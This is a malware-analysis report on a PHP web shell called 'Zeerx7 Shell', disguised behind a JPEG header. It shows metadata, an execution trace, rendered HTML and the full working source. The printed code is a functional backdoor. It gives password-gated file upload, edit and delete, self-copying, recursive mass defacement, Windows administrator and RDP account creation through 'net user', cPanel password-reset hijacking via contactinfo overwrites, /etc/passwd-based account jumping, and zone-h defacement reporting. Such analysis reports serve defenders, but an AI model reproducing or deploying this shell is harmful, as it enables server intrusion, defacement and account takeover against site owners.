PHP Malware Analysis

bypassyyh.php

md5: a09f322a24e7ec23c69a8a58cac1f0a0

Jump to:

Screenshot


Attributes

Environment

Execution

Files

Input

Title
  • { Zeerx7 Shell } (HTML)

URLs
  • http://www.zone-h.com/notify/single (Original)
  • http://www.zone-h.org/archive/notifier=$nick (Original)
  • http://www.zone-h.org/archive/notifier=$nick/published=0 (Original)
  • http://zone-xsec.com/ (Original)
  • https://github.com/404rgr/zeerx7 (Original)
  • https://i.ibb.co/hgKSY0K/cooltext317065123408510.png (Original)
  • https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css (Original)


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/a09f322a24e7ec23c69a8a58cac1f0a0_trace-1676251561.6969.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:26:27.594747]
1	0	1	0.000189	393528
1	3	0	0.001036	569424	{main}	1		/var/www/html/uploads/bypassyyh.php	0	0
2	4	0	0.001056	569424	session_start	0		/var/www/html/uploads/bypassyyh.php	21	0
2	4	1	0.001115	570176
2	4	R			TRUE
2	5	0	0.001160	570176	error_reporting	0		/var/www/html/uploads/bypassyyh.php	22	1	0
2	5	1	0.001175	570216
2	5	R			22527
2	6	0	0.001188	570176	set_time_limit	0		/var/www/html/uploads/bypassyyh.php	23	1	0
2	6	1	0.001203	570240
2	6	R			FALSE
2	7	0	0.001217	570208	clearstatcache	0		/var/www/html/uploads/bypassyyh.php	24	0
2	7	1	0.001229	570208
2	7	R			NULL
2	8	0	0.001242	570208	ini_set	0		/var/www/html/uploads/bypassyyh.php	25	2	'error_log'	NULL
2	8	1	0.001258	570280
2	8	R			''
2	9	0	0.001270	570208	ini_set	0		/var/www/html/uploads/bypassyyh.php	26	2	'log_errors'	0
2	9	1	0.001284	570280
2	9	R			'1'
2	10	0	0.001297	570208	ini_set	0		/var/www/html/uploads/bypassyyh.php	27	2	'max_execution_time'	0
2	10	1	0.001311	570248
2	10	R			'0'
2	11	0	0.001324	570176	ini_set	0		/var/www/html/uploads/bypassyyh.php	28	2	'output_buffering'	0
2	11	1	0.001338	570248
2	11	R			FALSE
2	12	0	0.001350	570176	ini_set	0		/var/www/html/uploads/bypassyyh.php	29	2	'display_errors'	0
2	12	1	0.001363	570248
2	12	R			''
1		A						/var/www/html/uploads/bypassyyh.php	30	$MyPass = 'hellofucking'
2	13	0	0.001393	570176	pausi_login	1		/var/www/html/uploads/bypassyyh.php	51	0
3	14	0	0.001406	570200	session_start	0		/var/www/html/uploads/bypassyyh.php	649	0
3	14	1	0.001422	570200
3	14	R			TRUE
			0.001460	490888
TRACE END   [2023-02-12 23:26:27.596054]


Generated HTML code

<html><head></head><body>����JFIF���	( %!1!%)+.0.383-7(-.+  <title>{ Zeerx7 Shell }</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <style type="text/css">
  body {
    background: black;
    color: #00FF00;
  }
    input{
    border:0;
    border:1px solid #900;
    background:black;
    color: gold;
  }
  </style><center><br><br>
  <pre>   / \       _-'
  /|  \-''- _ /
 { |          \
/             \
/       "o.  |o }
|            \ ;
\             ',
 --\_         __\
     ''-_    \.//
        '-____'
  </pre>
  <form method="POST">
    <input type="password" name="pw">
  </form>
</center></body></html>

Original PHP code

���JFIF���	( %!1!%)+.0.383-7(-.+<?php
/*
    ^ Name : Zeerx7 Shell
    ^ Author: Zeerx7(Pausi)
    ^ Team: XploitSec-ID
    ^ Version : V.1
    ^ https://github.com/404rgr/zeerx7

    * Ingin Record? izin dulu gan
    * gak izin? Sfx lo nob bab!

    ! Note:
    'tidak semua tools disini saya yang buat!!'
    'untuk tools akan ditambah di versi selanjutnya'

    /^
        Pass Default : z7
    ^/

*/
session_start();
error_reporting(0);
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
$MyPass = 'hellofucking'; // Password Default: z7
function dup($pass,$n){
if($_GET['pass'] == $pass){
$f =  __FILE__;
$d =  __DIR__;
echo $d.'/'.$n;
$pausi = fread(fopen($f,'r'),filesize($f));
if(fwrite(fopen($d.'/'.$n,'w'),$pausi)){
   echo ' [Success]';
}else{
   echo ' [failed]';
}
}else{
   echo 'Error [PASSWORD]';
}
exit;
}
if($_GET['dup'] == 'true' and !empty($_GET['filename'])){
   dup($MyPass,$_GET['filename']);
}
if (empty($_SESSION['login'])) {
    pausi_login();
}
if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['action'] == 'download')) {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
echo "
<!DOCTYPE html>
<html>
<head>
    <title>{ Zeerx7 Shell }</title>
    <link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css' />
    <style type='text/css'>
        body{
            font-family: 'Source Sans Pro';
            background: black;
            margin 0;
            color: white;
        }.pausi{
            margin: 0 auto;
            width: 100%;
        }
        table {
            margin: auto;
            font-family: \"Lucida Sans Unicode\", \"Lucida Grande\", \"Segoe Ui\";
            font-size: 15px;
            width: 100%;
        }th{
            background-color: #302F2F;
        }td{border-bottom: 1px dashed #00008B;
            background-color: black;
            padding: 90 11px;
        }.t{
            text-align: center;
        }tr:hover td{
            background-color: red;
        }.center{
            text-align: center;
        }.box{
    min-width:50%;
    border-radius:8px;
    opacity:1;
    padding: 10px;
    box-shadow:1px 1px 25px red;
    opacity:0.98;
}.menu{
    border:1px solid red;
    background-color:black;
    text-align: center;
    width:80px;
    padding: 5px;
    color:white;
}a{
    font-family: 'arial';
    color: white;
    text-decoration: none;
    margin: 0;
}a:hover{
 color: gold;
}.u{float:right;text-align:right;margin-bottom:1.5em}input[type=file]{display:none}input[type=submit]{border:1px solid #181818;padding:.2em;}      
    </style>
</head>
<body>";
if (empty($_GET['dir'])) {
    $dir = getcwd();
} else {
    $dir = $_GET['dir'];
    chdir($dir);
}
function pausipath()
{
    global $dir;
    $path  = str_replace('\\', '/', $dir);
    $paths = explode('/', $path);
    
    foreach ($paths as $id => $pat) {
        if ($pat == '' && $id == 0) {
            $a = true;
            echo '<a href="?dir=/">/</a>';
            continue;
        }
        if ($pat == '')
            continue;
        echo '<a href="?dir=';
        for ($i = 0; $i <= $id; $i++) {
            echo "$paths[$i]";
            if ($i != $id)
                echo "/";
        }
        echo '">' . $pat . '</a>/';
    }
}
function ip_info()
{
    $ip2 = getHostByName(getHostName());
    $p   = "Server IP: " . $ip2 . " | Your IP: " . $_SERVER['REMOTE_ADDR'];
    return $p;
}
$verPHP    = phpversion();
$IP        = getHostByName(getHostName());
$localhost = shell_exec(hostname);
$soft      = $_SERVER['SERVER_SOFTWARE'];
$mysql     = (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
$curl      = (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
$mail      = (function_exists('mail')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
echo "<center><font size='6px' color='lavender'>^_^ Zeerx7 Shell *_*</font><br></center>
    <div class='pausi'>
        <p>" . php_uname() . "<br>" . ip_info() . "<br>
        $soft <br>
        MySQL: $mysql | cURL: $curl | MAILER: $mail<br>";
pausipath();
echo ' [ ';
if (is_writable($dir))
    echo '<font color="#00ff00">';
elseif (!is_readable($dir))
    echo '<font color="red">';
echo perms($dir) . '</font> ]';
echo "
    </p><br>
        <center><form method='post' enctype='multipart/form-data' action='?upload=true&dir=$dir'>
        <a class='menu' href='?'>Home</a>
        <label class='menu'>
            <input  type='file' name='pausi_upload[]' onchange='this.form.submit()' multiple> &nbsp;UPLOAD
        </label>
        <a class='menu' href='?tools=jumping'>Jumping</a>
        <a class='menu' href='?tools=mass_deface&dir=$dir'>Mass Deface</a>
        <a class='menu' href='?tools=crack_cpanel'>Crack Cpanel</a>
        <a class='menu' href='?tools=RDP'>Create RDP</a>
        <a class='menu' href='?tools=zone-h'>Zone-H</a>
        <a class='menu' href='?logout=true'>EXIT</a>
        </form>
        </center>
        <br>";
if ($_GET['logout'] == 'true') {
    session_start();
    session_destroy();
    header('location: ?');
    echo " <meta http-equiv=\"refresh\" content=\"0; url=?\"> ";
} elseif ($_GET['action']) {
    if ($_GET['action'] == 'rename') {
        echo "<hr>";
        $re = $_GET['rename'];
        echo "
        <form action='?action=rename&rename=$re&dir=$dir' method=POST>
        New Name : <input type='text' name='fname'>
        <input type='submit' name='fok' value='Done'>
        </form>";
        if (isset($_POST['fok'])) {
            $new = $_POST['fname'];
            if (rename($re, "$dir/$new")) {
                echo "<center>Rename Successfully<center>";
            } else {
                echo "<center>Rename Failed<center><center>";
            }
        }
    } elseif ($_GET['action'] == 'edit') {
        $save = $_GET['edit'];
        echo "<hr>edit=> $save<br><hr>";
        if (!empty($_POST['pausiganteng'])) {
            $up  = fopen($save, "w");
            $res = fwrite($up, $_POST['pausi_ganteng']);
            if ($res) {
                echo "<h3 class=center style='color:green'>Edit Successfully</h3>";
            } else {
                echo "<h4 class=center style='color:red'>Failed!!</h4>";
            }
        }
        $cont = htmlspecialchars(file_get_contents($save));
        echo "<form action='?action=edit&edit=$save&$dir=$dir' method='POST'>
        <center><textarea name='pausi_ganteng' cols=100% rows=30%>$cont</textarea><br><br>
        <input type='submit' name='pausiganteng' value='<<<<<<<<[! Save File !]>>>>>>>>'></center>
        </form><br><br>";
    } elseif ($_GET['action'] == 'view') {
        echo "<hr>";
        echo "View Files=> " . $_GET['view'] . "<br>";
        $cont = htmlspecialchars(file_get_contents($_GET['view']));
        echo "<pre style='background-color: grey'>$cont</pre>";
    } elseif ($_GET['action'] == 'delete-file') {
        if (unlink($_GET['delete'])) {
            $del_pausi = "<h3 class=center style=color:#00ff00>Delete Successfully</h3>";
        } else {
            $del_pausi = "<h3 class=center style=color:red>Delete Failed</h3>";
            
        }
        pausi_tampilkan();
    } elseif ($_GET['action'] == 'delete-dir') {
        $del = delTree($_GET['delete-dir']);
        if ($del) {
            $del_pausi = "<h3 class=center style=color:#00ff00>Delete Successfully</h3>";
        } else {
            $del_pausi = "<h3 class=center style=color:red>Delete Failed</h3>";
            
        }
        pausi_tampilkan();
    } elseif ($_GET['action'] == 'create_file') {
        echo ('<hr>');
        if ($_POST['new_file'] and $_POST['pausi_create_file']) {
            $n   = $_POST['new_file'];
            $isi = $_POST['pausi_create_file'];
            $b   = @fopen($n, "w");
            $sep = @fwrite($b, $isi);
            if ($sep) {
                echo "<h3 class=center style=color:#00ff00>Create $n Successfully</h3>";
            } else {
                echo "<h3 class=center style=color:red>Create $n Failed</h3>";
            }
            echo "<br>";
        }
        echo "<form method=POST>
            <h3>New File: <input type=text name=new_file placeholder=\"Nama File\"><br>
            <h3>Isi File: </h3><textarea name=pausi_create_file cols=100% rows=30% placeholder=\"Isi File\"></textarea></h3><br>
            <button type=submit>Create</button>
        </form>";
    } elseif ($_GET['action'] == 'new-dir') {
        echo ('<hr>');
        if ($_POST['new_dr']) {
            $sep = @mkdir($_POST['new_dr']);
            if ($sep) {
                echo "<h3 class=center style=color:#00ff00>Create $n Successfully</h3>";
            } else {
                echo "<h3 class=center style=color:red>Create $n Failed</h3>";
            }
            echo "<br>";
        }
        echo "<form method=POST>
            <h3>New Folder: <input type=text name=new_dr placeholder=\"Nama Folder\">
            <button type=submit>Create</button>
        </form>";
    }
} elseif ($_GET['tools']) {
    if ($_GET['tools'] == 'jumping') {
        echo "<hr>";
        aksiJump($dir, $IP);
    } elseif ($_GET['tools'] == 'mass_deface') {
        if ($_POST['start']) {
            if ($_POST['tipe'] == 'massal') {
                echo "<div style='margin: 5px auto; padding: 5px'>";
                mass_deface($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
                echo "</div>";
            } elseif ($_POST['tipe'] == 'biasa') {
                echo "<div style='margin: 5px auto; padding: 5px'>";
                mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
                echo "</div>";
            }
            echo "<a href='?'><- back to home</a>";
        } else {
            echo "<hr>
            <form method='post'>
            <font style='text-decoration: underline;'>Tipe:</font>
            <input type='radio' name='tipe' value='biasa' checked>Biasa<input type='radio' name='tipe' value='massal'>Massal<br><br>
            <font style='text-decoration: underline;'>Dir:</font><br>
            <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br><br>
            <font style='text-decoration: underline;'>Filename:</font><br>
            <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>
            <font style='text-decoration: underline;'>Index File:</font><br>
            <textarea name='script' style='width: 450px; height: 200px;'>0wNeD By Zeerx7</textarea><br>
            <input type='submit' name='start' value='Goo!' style='width: 454px;' class='btn btn-success btn-sm'><br><br>
            </form>";
        }
    } elseif ($_GET['tools'] == 'crack_cpanel') {
        crack_cpanel();
    } elseif ($_GET['tools'] == 'zone-h') {
        echo "<hr>";
        if ($_POST['submit']) {
            $domain = explode("\r\n", $_POST['url']);
            $nick   = $_POST['nick'];
            echo "<font color='white'>Defacer Onhold:</font> <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
            echo "<font color='white'>Defacer Archive:</font> <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
            function zoneh($url, $nick)
            {
                $ch = curl_init("http://www.zone-h.com/notify/single");
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
                return curl_exec($ch);
                curl_close($ch);
            }
            foreach ($domain as $url) {
                $zoneh = zoneh($url, $nick);
                if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
                    echo "<font color='white'>$url -> </font><font color=green>OK</font><br>";
                } else {
                    echo "<font color='white'>$url -> </font><font color=red>ERROR</font><br>";
                }
            }
        } else {
            echo "<center>
        <font size='7' color='red' face='Orbitron'>Zone-H Mass Notify</font><br>";
            echo "<br>
            <form method='post'>
            <input style='width: 350px;' type='text' name='nick' placeholder='Defacer' value=Zeerx7><br><br>
            <textarea style='width: 350px;' placeholder='http://zone-xsec.com/' name='url'></textarea><br><br><input class='tombol' type='submit' name='submit' value='Submit'>
            </form>";
        }
    } elseif ($_GET['tools'] == 'RDP') {
        echo "<hr>
<div style='padding: 2em;'>
<form method=POST>
<label>CREATE RDP </label><br>
<label>Username: </label>
<input type=text style='border:1px solid #590;' name=user>
<label> &nbsp;&nbsp;&nbsp;&nbsp;Password: </label>
<input type=text style='border:1px solid #590;' name=pass>
<input type='SUBMIT' name=create_rdp VALUE='CREATE'>
</form>
<br><br><br>

<form method=POST>
<label>OPTION </label><br>
<label>Username: </label>
<input type=text style='border:1px solid #590;' name=user>
<label> &nbsp;&nbsp;&nbsp;&nbsp;Password: </label>
<input type=text style='border:1px solid #590;' name=pass>
<label>&nbsp;&nbsp;&nbsp;&nbsp;Action: </label>
<select name='action'>
                                                        <option value='1'>Tampilkan Username</option>
                                                        <option value='2'>Hapus Username</option>
                                                        <option value='3'>Ubah Password</option>
                                                </select>
<input type='SUBMIT' value='GO!' name='option'>
</form>
</div>
        ";
        
        $inf = "<p>--------------{ INFORMATION }--------------</p>";
        if ($_POST['create_rdp']) {
            print $inf;
            $user = $_POST['user'];
            $pass = $_POST['pass'];
            $cek  = shell_exec("net user");
            if (preg_match("/$user/", $cek)) {
                echo $localhost . $user . " sudah ada<br>";
            } else {
                $cmd_add_user    = shell_exec("net user " . $user . " " . $pass . " /add");
                $cmd_add_groups1 = shell_exec("net localgroup Administrators " . $user . " /add");
                $cmd_add_groups2 = shell_exec("net localgroup Administrator " . $user . " /add");
                $cmd_add_groups3 = shell_exec("net localgroup Administrateur " . $user . " /add");
                
                if ($cmd_add_user) {
                    echo "# [add user]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
                } else {
                    echo "# [add user]-> " . $user . " <font color='red'>Gagal</font><br>";
                }
                if ($cmd_add_groups1) {
                    echo "# [add localgroup Administrators]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
                } else if ($cmd_add_groups2) {
                    echo "# [add localgroup Administrator]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
                } else if ($cmd_add_groups3) {
                    echo "# [add localgroup Administrateur]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
                } else {
                    echo "# [add localgroup]-> " . $user . " <font color='red'>Gagal</font><br>";
                }
                echo "# [INFO PC]-> RDP IP " . $_SERVER["HTTP_HOST"] . " Username : " . $user . " Password : " . $pass . " <font color='greenyellow'>Berhasil</font><br>";
                
            }
        } elseif ($_POST['option']) {
            print $inf;
            if ($_POST['action'] == "1") {
                echo "<pre>" . shell_exec("net user") . "</pre>";
            } else if ($_POST['action'] == "2") {
                $username     = $_POST['user'];
                $cmd_cek_user = shell_exec("net user");
                if (!empty($username)) {
                    if (preg_match("/$username/", $cmd_cek_user)) {
                        $cmd_add_user = shell_exec("net user " . $username . " /DELETE");
                        if ($cmd_add_user) {
                            echo "# [remove user]-> " . $username . " <font color='greenyellow'>Berhasil</font><br>";
                        } else {
                            echo "# [remove user]-> " . $username . " <font color='red'>gagal</font><br>";
                        }
                    } else {
                        echo "# [remove user]-> " . $username . " <font color='red'>Tidak ditemukan</font><br>";
                    }
                } else {
                    echo "# [PESAN]-> <font color='red'>Kamu lupa masukin Username yang akan di delete</font><br>";
                }
            } else if ($_POST['action'] == "3") {
                $username     = $_POST['user'];
                $password     = $_POST['pass'];
                $cmd_cek_user = shell_exec("net user");
                if (!empty($username)) {
                    if (preg_match("/$username/", $cmd_cek_user)) {
                        $cmd_add_user = shell_exec("net user " . $username . " shor7cut");
                        if ($cmd_add_user) {
                            echo "# [change password]-> (" . $username . "|" . $password . ") <font color='greenyellow'>Berhasil</font><br>";
                        } else {
                            echo "# [change password]-> (" . $username . "|" . $password . ") <font color='red'>GAGAL</font><br>";
                        }
                    } else {
                        echo "# [PESAN]-> <font color='red'>Username Tidak Ditemukan di server</font><br>";
                    }
                } else {
                    echo "# [PESAN]-> <font color='red'>Kamu lupa masukin Username yang akan di delete</font><br>";
                }
            }
        }
    }
} elseif ($_GET['upload'] == 'true') {
    if (isset($_FILES['pausi_upload'])) {
        foreach ($_FILES['pausi_upload']['name'] as $key => $val) {
            $name = $_FILES['pausi_upload']['name'][$key];
            $tmp  = $_FILES['pausi_upload']['tmp_name'][$key];
            if (trim($name) != '') {
                if (move_uploaded_file($tmp, $name)) {
                    $del_pausi = '<h3 class=center style=color:#00ff00>Uploaded ' . $name . ' Successfully</h3><br/>';
                } else {
                    $del_pausi = "<h3 class=center style=color:red>Failed to Upload " . $name . "</h3><br>";
                }
            }
        }
    }
    pausi_tampilkan();
} else {
    pausi_tampilkan();
}
echo "
    </div>
</body>
</html>";
function mass_deface($dir, $namafile, $isi_script)
{
    if (is_writable($dir)) {
        $dira = scandir($dir);
        foreach ($dira as $dirb) {
            $dirc   = "$dir/$dirb";
            $lokasi = $dirc . '/' . $namafile;
            if ($dirb === '.') {
                file_put_contents($lokasi, $isi_script);
            } elseif ($dirb === '..') {
                file_put_contents($lokasi, $isi_script);
            } else {
                if (is_dir($dirc)) {
                    if (is_writable($dirc)) {
                        echo "[<font color=#00ff00>DONE</font>] $lokasi<br>";
                        file_put_contents($lokasi, $isi_script);
                        $idx = mass_deface($dirc, $namafile, $isi_script);
                    }
                }
            }
        }
    }
}
function mass_biasa($dir, $namafile, $isi_script)
{
    if (is_writable($dir)) {
        $dira = scandir($dir);
        foreach ($dira as $dirb) {
            $dirc   = "$dir/$dirb";
            $lokasi = $dirc . '/' . $namafile;
            if ($dirb === '.') {
                file_put_contents($lokasi, $isi_script);
            } elseif ($dirb === '..') {
                file_put_contents($lokasi, $isi_script);
            } else {
                if (is_dir($dirc)) {
                    if (is_writable($dirc)) {
                        echo "[<font color=#00ff00>DONE</font>] $dirb/$namafile<br>";
                        file_put_contents($lokasi, $isi_script);
                    }
                }
            }
        }
    }
}
function delTree($dir)
{
    $files = array_diff(scandir($dir), array(
        '.',
        '..'
    ));
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}
function pausi_tampilkan()
{
    global $dir;
    global $del_pausi;
    echo "<div class=\"box\">
    $del_pausi
    <table>
                    <th style=\"width: 35%\">Name</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Permission</th>
                    <th style=\"width: 30%\">Action</th>
";
    $si = scandir($dir);
    foreach ($si as $fol) {
        $waktu       = date("D-m-Y G:i", filemtime("$dir/$fol"));
        $pausi_perms = perms($dir . "/" . $fol);
        if ($fol == ".") {
            continue;
        } elseif ($fol == "..") {
            print "<tr>
            <td><i class='fa fa-folder-open-o'></i> <a href='?dir=$dir/$fol/'>$fol</a></td>
            <td><center>--</cemter></td>
            <td class=center>" . $waktu . "</td>
            <td class=center>";
            if (is_writable($dir . '/' . $file))
                echo '<font color="#00ff00">';
            elseif (!is_readable($dir . '/' . $file))
                echo '<font color="red">';
            print $pausi_perms . "</td>
            <td class=center><a href='?action=create_file&dir=$dir'>New File</a> | <a href='?action=new-dir&dir=$dir'>New Folder</td>
            <tr>";
        } else {
            if (is_dir("$dir/$fol") == true) {
                print "<tr>
                <td><i class='fa fa-folder-o'></i> <a href='?dir=$dir/$fol/'>$fol</a></td>
                <td class=center>--</td>
                <td class=center>" . $waktu . "</td>
                <td class=center>";
                if (is_writable($dir . '/' . $file))
                    echo '<font color="#00ff00">';
                elseif (!is_readable($dir . '/' . $file))
                    echo '<font color="red">';
                print $pausi_perms . "</td>
                <td><a href='?action=delete-dir&delete-dir=$dir/$fol&dir=$dir'>
                <center>Delete</a> | <a href='?action=rename&rename=$dir/$fol&dir=$dir'>Rename</a></center></td>
                <tr>";
            }
        }
    }
    foreach ($si as $file) {
        $waktu       = date("D-m-Y G:i", filemtime("$dir/$file"));
        $pausi_perms = perms($dir . "/" . $file);
        if ($file == "." || $file == "..") {
            continue;
        } else {
            $size = filesize("$dir/$file") / 1024;
            $size = round($size, 3);
            if ($size >= 1024) {
                $size = round($size / 1024, 2) . ' MB';
            } else {
                $size = $size . ' KB';
            }
            if (is_file("$dir/$file") == true) {
                print "<tr>
                <td><a href='?action=view&view=$dir/$file&dir=$dir'><i class='fa fa-file-o'></i> $file</a></td>
                <td>$size</td>
                <td class=center>$waktu</td>
                <td class=center>";
                if (is_writable($dir . '/' . $file))
                    echo '<font color="#00ff00">';
                elseif (!is_readable($dir . '/' . $file))
                    echo '<font color="red">';
                echo "$pausi_perms</td>
                <td class=center><a href='?action=edit&edit=$dir/$file&$dir=$dir'>Edit</a> | <a href='?action=delete-file&delete=$dir/$file&dir=$dir'>Delete</a> | <a href='?action=rename&rename=$dir/$file&dir=$dir'>Rename</a> | <a href='?action=download&file=$dir/$file'>Download</a></td>
                </tr>";
            }
        }
    }
    echo "</div>";
}
function pausi_login()
{
    global $MyPass;
    echo "  <title>{ Zeerx7 Shell }</title>
  <meta name='viewport' content='width=device-width, initial-scale=1'>
  <style type='text/css'>
  body {
    background: black;
    color: #00FF00;
  }
    input{
    border:0;
    border:1px solid #900;
    background:black;
    color: gold;
  }
  </style><center><br><br>
  <pre>
   / \       _-'
  /|  \-''- _ /
 { |          \
/             \
/       \"o.  |o }
|            \ ;
\             ',
 --\_         __\
     ''-_    \.//
        '-____'
  </pre>
  <form method='POST'>
    <input type='password' name='pw'>
  </form>
";
    session_start();
    if ($_POST['pw'] == $MyPass) {
        $_SESSION['login'] = $MyPass;
        print "<script>window.location='?';</script>";
    }
    exit;
}
function perms($pausi_gan77)
{
    $perms = fileperms($pausi_gan77);
    if (($perms & 0xC000) == 0xC000) {
        $f = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $f = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $f = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $f = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $f = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $f = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $f = 'p';
    } else {
        $f = 'u';
    }
    $f .= (($perms & 0x0100) ? 'r' : '-');
    $f .= (($perms & 0x0080) ? 'w' : '-');
    $f .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $f .= (($perms & 0x0020) ? 'r' : '-');
    $f .= (($perms & 0x0010) ? 'w' : '-');
    $f .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $f .= (($perms & 0x0004) ? 'r' : '-');
    $f .= (($perms & 0x0002) ? 'w' : '-');
    $f .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $f;
}
function crack_cpanel()
{
    echo "<hr><br>";
    echo '<style>.draw {
  height:45px; 
}
.wis{
  height: 25px;
}.logo{ height:70px;}
input[type="email"] { border-radius:5px; border-bottom-color: blue; border-top-color: blue; padding: 10; }
</style>  <center>  <div style=" border: 7px double; border-color: #F90000;border-radius: 16px 16px 16px 16px;-moz-border-radius: 16px 16px 16px 16px;-webkit-border-radius: 16px 16px 16px 16px;height:auto;width:500px; background-color:black;  color:white;"><br><h2>Crack Cpanel   <br><br>  <form action="#" method="post">  <input type="email" name="email" placeholder="Your Email" style="background-color: " />  <input type="submit" name="submit" value="Crack" style="background-color: transparent;font: 15pt cursive;color:#80D713;"/>  </form>         <br /><br />   </p>    ';
    $IIIIIIIIIIII = get_current_user();
    $IIIIIIIIIII1 = $_SERVER['HTTP_HOST'];
    $IIIIIIIIIIlI = getenv('REMOTE_ADDR');
    if (isset($_POST['submit'])) {
        $email        = $_POST['email'];
        $IIIIIIIIIIl1 = 'email:' . $email;
        $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo', 'w');
        fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
        fclose($IIIIIIIIII1I);
        $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.contactinfo', 'w');
        fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
        fclose($IIIIIIIIII1I);
        $IIIIIIIIIlIl    = "https://";
        $IIIIIIIIIlI1    = "2083";
        $IIIIIIIIIllI    = $IIIIIIIIIII1 . ':2083/resetpass?start=1';
        $read_named_conf = @file('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo');
        if (!$read_named_conf) {
            echo "<h1>maaf dak pacak di akses ster</h1><br><br> </pre></center>";
        } else {
            echo "<center>SALIN INI STER TRUZZ GASS <BR><BR></center>";
            echo '<center><input type="text" value="' . $IIIIIIIIIIII . '" id="user"> <button onclick="username()">SALIN TEXT</button></center> <script>function username() { var copyText = document.getElementById("user"); copyText.select(); document.execCommand("copy"); } </script> ';
            echo '<br/><center><a  target="_blank" href="' . $IIIIIIIIIlIl . '' . $IIIIIIIIIllI . '"><img class="wis"src="https://i.ibb.co/hgKSY0K/cooltext317065123408510.png"></a><br><br></center>';
            ;
        }
    }
}

function aksiJump($dir, $ip)
{
    $i = 0;
    echo "<div class='card container'>";
    if (preg_match("/hsphere/", $dir)) {
        $urls = explode("\r\n", $_POST['url']);
        if (isset($_POST['jump'])) {
            echo "<pre>";
            foreach ($urls as $url) {
                $url = str_replace(array(
                    "http://",
                    "www."
                ), "", strtolower($url));
                $etc = "/etc/passwd";
                $f   = fopen($etc, "r");
                while ($gets = fgets($f)) {
                    $pecah    = explode(":", $gets);
                    $user     = $pecah[0];
                    $dir_user = "/hsphere/local/home/$user";
                    if (is_dir($dir_user) === true) {
                        $url_user = $dir_user . "/" . $url;
                        if (is_readable($url_user)) {
                            $i++;
                            $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>";
                            if (is_writable($url_user)) {
                                $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>";
                            }
                            echo $jrw . "<br>";
                        }
                    }
                }
            }
            if (!$i == 0) {
                echo "<br>Total ada $i KAMAR di $ip";
            }
            echo "</pre>";
        } else {
            echo '<center><form method="post">
                List Domains: <br>
                <textarea name="url" class="form-control">';
            $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r");
            while ($getss = fgets($fp)) {
                echo $getss;
            }
            echo '</textarea><br>
                      <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
            </form></center>';
        }
    } elseif (preg_match("/vhosts/", $dir)) {
        $urls = explode("\r\n", $_POST['url']);
        if (isset($_POST['jump'])) {
            echo "<pre>";
            foreach ($urls as $url) {
                $web_vh = "/var/www/vhosts/$url/httpdocs";
                if (is_dir($web_vh) === true) {
                    if (is_readable($web_vh)) {
                        $i++;
                        $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>";
                        if (is_writable($web_vh)) {
                            $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>";
                        }
                        echo $jrw . "<br>";
                    }
                }
            }
            if (!$i == 0) {
                echo "<br>Total ada $i Kamar Di $ip";
            }
            echo "</pre>";
        } else {
            echo '<center><form method="post">
